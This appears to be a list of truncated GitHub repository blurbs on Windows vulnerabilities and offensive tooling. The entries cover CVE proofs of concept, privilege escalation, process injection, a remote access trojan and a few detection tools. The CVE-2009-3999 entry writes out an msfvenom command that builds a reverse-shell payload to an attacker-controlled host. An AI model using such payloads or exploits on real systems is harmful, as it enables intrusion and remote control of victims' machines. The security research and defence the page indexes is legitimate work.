CVE-2022-21971

CVE-2022-21971: Uninitialized pointer free in prauthproviders Root-cause The WapAuthProvider::CreateInstance constructor allocates and initializes a WapAuthProvider object 0x78 bytes but it fails to initialize completely its state. The pointer at offset 0x50 is uninitialized and free'd when the...

pytmipe

PYTMIPE & TMIPE PYTMIPE PYthon library for Token Manipulation and Impersonation for Privilege Escalation is a Python 3 library for manipulating Windows tokens and managing impersonations in order to gain more privileges on Windows. TMIPE is the python 3 client which uses the pytmipe library...

WhoamiAlternatives

Alternatives to whoami Some experiments to retrieve the current username without calling whoami.exe or similar binaries. Method 1: PRTLUSERPROCESSPARAMETERS Get the environment variables from the PEB structure and parse it to find the username. Function NtQueryInformationProcess returns a...

CVE-2018-6606

CVE-2018-6606 This terminates any PID. Tested on Windows 10 64-bit, Flare VM. Administrator privileges are required. Some adjustments may be needed — see resource.rc. Toolchain Download:...

CVE-2022-34715-POC

CVE-2022-34715-POC CVE-2022-34715-POC pcap nfssvr.sys version 10.0.20348.825 0: kd r rax=0000000080000001 rbx=0000000000000000 rcx=ffffde87fe461150 rdx=0000000000000000 rsi=fffff8040811aa50 rdi=0000000000000008 rip=fffff80408067dbb rsp=ffffb400eb3e2630 rbp=ffffb400eb3e26b9 r8=0000001000000020...

BlackLotusDetection

BlackLotusDetection Created to help detect IOCs for CVE-2022-21894: The BlackLotus campaign https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/ This creates an output txt file in the c:\temp folder...

capsulecorp-pentest

Blog Twitter: Discord: Book: 1. Capsulecorp Pentest The Capsulecorp Pentest is a small virtual network managed by Vagrant and Ansible. It contains five virtual machines, including one Linux attacking system running Xubuntu and 4 Windows 2019 servers configured with various vulnerable services...

rat-shell

Stories in Ready Windows Remote Access Trojan RAT using .NET Sockets Client-server binaries and source-code for controlling a remote machine behind a NAT with a command-line shell in Windows. Although the core provides support for communication with multiple RATs, the command-line interface used...

bluewall

BLUEWALL Bluewall is a firewall framework designed for offensive and defensive cyber professionals. This framework allows Cybersecurity professionals to quickly setup their environment while staying within their scope. Credit Inspired by Andrew Benson's hostfw iptable generation script. Features...

DllNotificationInjection

DllNotificationInjection Main Contributors Description DllNotificationInection is a POC of a new “threadless” process injection technique that works by utilizing the concept of DLL Notification Callbacks in local and remote processes. An accompanying blog post with more details is available here:...

CVE-2024-51324

CVE-2024-51324 — BYOVD: BdApiUtil64.sys · Master's Thesis Research -orange Bring Your Own Vulnerable Driver BYOVD — Baidu AntivirusBdApiUtil64.sys Three undocumented kernel primitives: process termination, arbitrary file deletion, and in-use file deletion with SectionObjectPointer bypass Affected...

beyondtrust-cve-2026-1232

🔍 Vulnerability Research A curated collection of in-depth vulnerability writeups covering real-world security incidents in the software ecosystem. Each entry includes a full technical analysis, proof-of-concept, IOC listing, and remediation guidance. Purpose: Educational reference and portfolio...

EternalBlue-Exploit-Demonstration

EternalBlue Exploit Demonstration MS17-010 Cybersecurity lab demonstrating exploitation of CVE-2017-0144 EternalBlue using Metasploit against a vulnerable Windows 7 system, achieving SYSTEM-level access via Meterpreter. This project also simulates a WannaCry-style ransomware attack SAFE DEMO and...

SpeculativeExecutionAssessment

SpeculativeExecutionAssessment Assesses a system for the "speculative execution" vulnerabilities described in: CVE-2017-5715 branch target injection CVE-2017-5753 bounds check bypass CVE-2017-5754 rogue data cache load WARNING: Ensure that "Prefer 32-bit" is not checked in the build options...

CVE-2022-21894

baton drop CVE-2022-21894: Secure Boot Security Feature Bypass Vulnerability Windows Boot Applications allow the truncatememory setting to remove blocks of memory containing "persistent" ranges of serialised data from the memory map, leading to Secure Boot bypass. The truncatememory BCD element...

CVE-2025-24054-24071---Metasploit-Module

CVE-2025-24054/24071 - Metasploit Module Overview The vulnerability occurs during the extraction process of a .zip file. When interacting with a specially crafted .library-ms file, Windows Explorer processes the internal XML schema and automatically initiates an SMB authentication request to a...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 exploit inspired by https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 STEP 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to...

CVE-2024-38063-Exploit-Refactoring

CVE-2024-38063 Exploit Advanced exploitation tool with precision error handling and DO-176C compliant execution. Overview This is a specialized security assessment tool for testing Windows IPv6 vulnerability mitigation on target systems. Includes automated network interface detection, packet...

CVE-2025-32433-available-for-windows

CVE-2025-32433 Information about the vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help...